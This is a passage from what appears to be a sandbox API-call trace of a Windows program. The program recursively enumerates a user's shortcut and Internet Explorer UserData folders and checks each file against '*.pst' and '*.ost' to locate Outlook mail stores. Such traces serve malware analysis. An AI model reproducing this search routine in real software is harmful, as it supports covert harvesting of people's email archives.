pszSpec="*.pst") returned 0 [0098.117] PathMatchSpecW (pszFile="Google Chrome.lnk", pszSpec="*.ost") returned 0 [0098.117] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2889c880, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2889c880, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28236d60, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Internet Explorer (2).lnk", cAlternateFileName="INTERN~2.LNK")) returned 1 [0098.117] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.117] PathMatchSpecW (pszFile="Internet Explorer (2).lnk", pszSpec="*.pst") returned 0 [0098.117] PathMatchSpecW (pszFile="Internet Explorer (2).lnk", pszSpec="*.ost") returned 0 [0098.117] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0098.117] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.117] PathMatchSpecW (pszFile="Internet Explorer.lnk", pszSpec="*.pst") returned 0 [0098.117] PathMatchSpecW (pszFile="Internet Explorer.lnk", pszSpec="*.ost") returned 0 [0098.117] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33dfaa50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40f03d40, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x40f03d40, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0098.117] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.118] PathMatchSpecW (pszFile="Mozilla Firefox.lnk", pszSpec="*.pst") returned 0 [0098.118] PathMatchSpecW (pszFile="Mozilla Firefox.lnk", pszSpec="*.ost") returned 0 [0098.118] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239be890, ftCreationTime.dwHighDateTime=0x1d30214, ftLastAccessTime.dwLowDateTime=0x239be890, ftLastAccessTime.dwHighDateTime=0x1d30214, ftLastWriteTime.dwLowDateTime=0x67648c50, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x94b, dwReserved0=0x0, dwReserved1=0x230230, cFileName="PowerPoint 2016.lnk", cAlternateFileName="POWERP~1.LNK")) returned 1 [0098.118] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.118] PathMatchSpecW (pszFile="PowerPoint 2016.lnk", pszSpec="*.pst") returned 0 [0098.118] PathMatchSpecW (pszFile="PowerPoint 2016.lnk", pszSpec="*.ost") returned 0 [0098.118] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x822e9370, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0x822e9370, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf7d246f0, ftLastWriteTime.dwHighDateTime=0x1d30614, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Project 2016.lnk", cAlternateFileName="PROJEC~1.LNK")) returned 1 [0098.118] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.118] PathMatchSpecW (pszFile="Project 2016.lnk", pszSpec="*.pst") returned 0 [0098.118] PathMatchSpecW (pszFile="Project 2016.lnk", pszSpec="*.ost") returned 0 [0098.118] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa486cda0, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xa486cda0, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xf9e8ff40, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Visio 2016.lnk", cAlternateFileName="VISIO2~1.LNK")) returned 1 [0098.118] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.118] PathMatchSpecW (pszFile="Visio 2016.lnk", pszSpec="*.pst") returned 0 [0098.118] PathMatchSpecW (pszFile="Visio 2016.lnk", pszSpec="*.ost") returned 0 [0098.118] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x288c29e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x288c29e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Windows Explorer (2).lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0098.118] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.118] PathMatchSpecW (pszFile="Windows Explorer (2).lnk", pszSpec="*.pst") returned 0 [0098.118] PathMatchSpecW (pszFile="Windows Explorer (2).lnk", pszSpec="*.ost") returned 0 [0098.118] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0098.118] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.118] PathMatchSpecW (pszFile="Windows Explorer.lnk", pszSpec="*.pst") returned 0 [0098.118] PathMatchSpecW (pszFile="Windows Explorer.lnk", pszSpec="*.ost") returned 0 [0098.118] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x288c29e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x288c29e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Windows Media Player (2).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0098.118] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.118] PathMatchSpecW (pszFile="Windows Media Player (2).lnk", pszSpec="*.pst") returned 0 [0098.118] PathMatchSpecW (pszFile="Windows Media Player (2).lnk", pszSpec="*.ost") returned 0 [0098.118] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0098.118] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.118] PathMatchSpecW (pszFile="Windows Media Player.lnk", pszSpec="*.pst") returned 0 [0098.118] PathMatchSpecW (pszFile="Windows Media Player.lnk", pszSpec="*.ost") returned 0 [0098.118] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23a7cf70, ftCreationTime.dwHighDateTime=0x1d30214, ftLastAccessTime.dwLowDateTime=0x23a7cf70, ftLastAccessTime.dwHighDateTime=0x1d30214, ftLastWriteTime.dwLowDateTime=0x677c5a10, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x94c, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Word 2016.lnk", cAlternateFileName="WORD20~1.LNK")) returned 1 [0098.118] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.118] PathMatchSpecW (pszFile="Word 2016.lnk", pszSpec="*.pst") returned 0 [0098.119] PathMatchSpecW (pszFile="Word 2016.lnk", pszSpec="*.ost") returned 0 [0098.119] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23a7cf70, ftCreationTime.dwHighDateTime=0x1d30214, ftLastAccessTime.dwLowDateTime=0x23a7cf70, ftLastAccessTime.dwHighDateTime=0x1d30214, ftLastWriteTime.dwLowDateTime=0x677c5a10, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x94c, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Word 2016.lnk", cAlternateFileName="WORD20~1.LNK")) returned 0 [0098.119] FindClose (in: hFindFile=0x71e8ac0 | out: hFindFile=0x71e8ac0) returned 1 [0098.119] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x421c2bf0, ftLastAccessTime.dwHighDateTime=0x1d4ae56, ftLastWriteTime.dwLowDateTime=0x421c2bf0, ftLastWriteTime.dwHighDateTime=0x1d4ae56, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="TaskBar", cAlternateFileName="")) returned 0 [0098.119] FindClose (in: hFindFile=0x71e8ca0 | out: hFindFile=0x71e8ca0) returned 1 [0098.119] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0098.119] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.119] PathMatchSpecW (pszFile="Window Switcher.lnk", pszSpec="*.pst") returned 0 [0098.119] PathMatchSpecW (pszFile="Window Switcher.lnk", pszSpec="*.ost") returned 0 [0098.119] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0098.120] FindClose (in: hFindFile=0x71ea5c0 | out: hFindFile=0x71ea5c0) returned 1 [0098.120] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd6a3aa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6a3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6a3aa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="UserData", cAlternateFileName="")) returned 1 [0098.120] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.120] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer", pszFile="UserData" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0098.120] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*" [0098.120] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd6a3aa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6a3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6a3aa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea5c0 [0098.121] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.121] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd6a3aa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6a3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6a3aa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.121] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.121] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6a3aa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Low", cAlternateFileName="")) returned 1 [0098.121] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.121] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", pszFile="Low" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" [0098.121] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*" [0098.121] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6a3aa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ca0 [0098.122] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.122] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6a3aa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.122] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.122] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="356BZ594", cAlternateFileName="")) returned 1 [0098.122] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.122] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", pszFile="356BZ594" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\356BZ594") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\356BZ594" [0098.122] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\356BZ594", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\356BZ594\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\356BZ594\\*" [0098.122] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\356BZ594\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ac0 [0098.123] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.123] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.123] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.123] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 0 [0098.123] FindClose (in: hFindFile=0x71e8ac0 | out: hFindFile=0x71e8ac0) returned 1 [0098.123] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xcd6a3aa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6a3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0x15e41f80, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x230230, cFileName="index.dat", cAlternateFileName="")) returned 1 [0098.123] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.123] PathMatchSpecW (pszFile="index.dat", pszSpec="*.pst") returned 0 [0098.123] PathMatchSpecW (pszFile="index.dat", pszSpec="*.ost") returned 0 [0098.123] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="N4CF7XJW", cAlternateFileName="")) returned 1 [0098.123] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.123] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", pszFile="N4CF7XJW" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\N4CF7XJW") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\N4CF7XJW" [0098.123] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\N4CF7XJW", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\N4CF7XJW\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\N4CF7XJW\\*" [0098.123] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\N4CF7XJW\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ac0 [0098.124] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.124] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.124] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.124] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 0 [0098.124] FindClose (in: hFindFile=0x71e8ac0 | out: hFindFile=0x71e8ac0) returned 1 [0098.124] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="WIK9MYAA", cAlternateFileName="")) returned 1 [0098.124] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.124] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", pszFile="WIK9MYAA" | out: 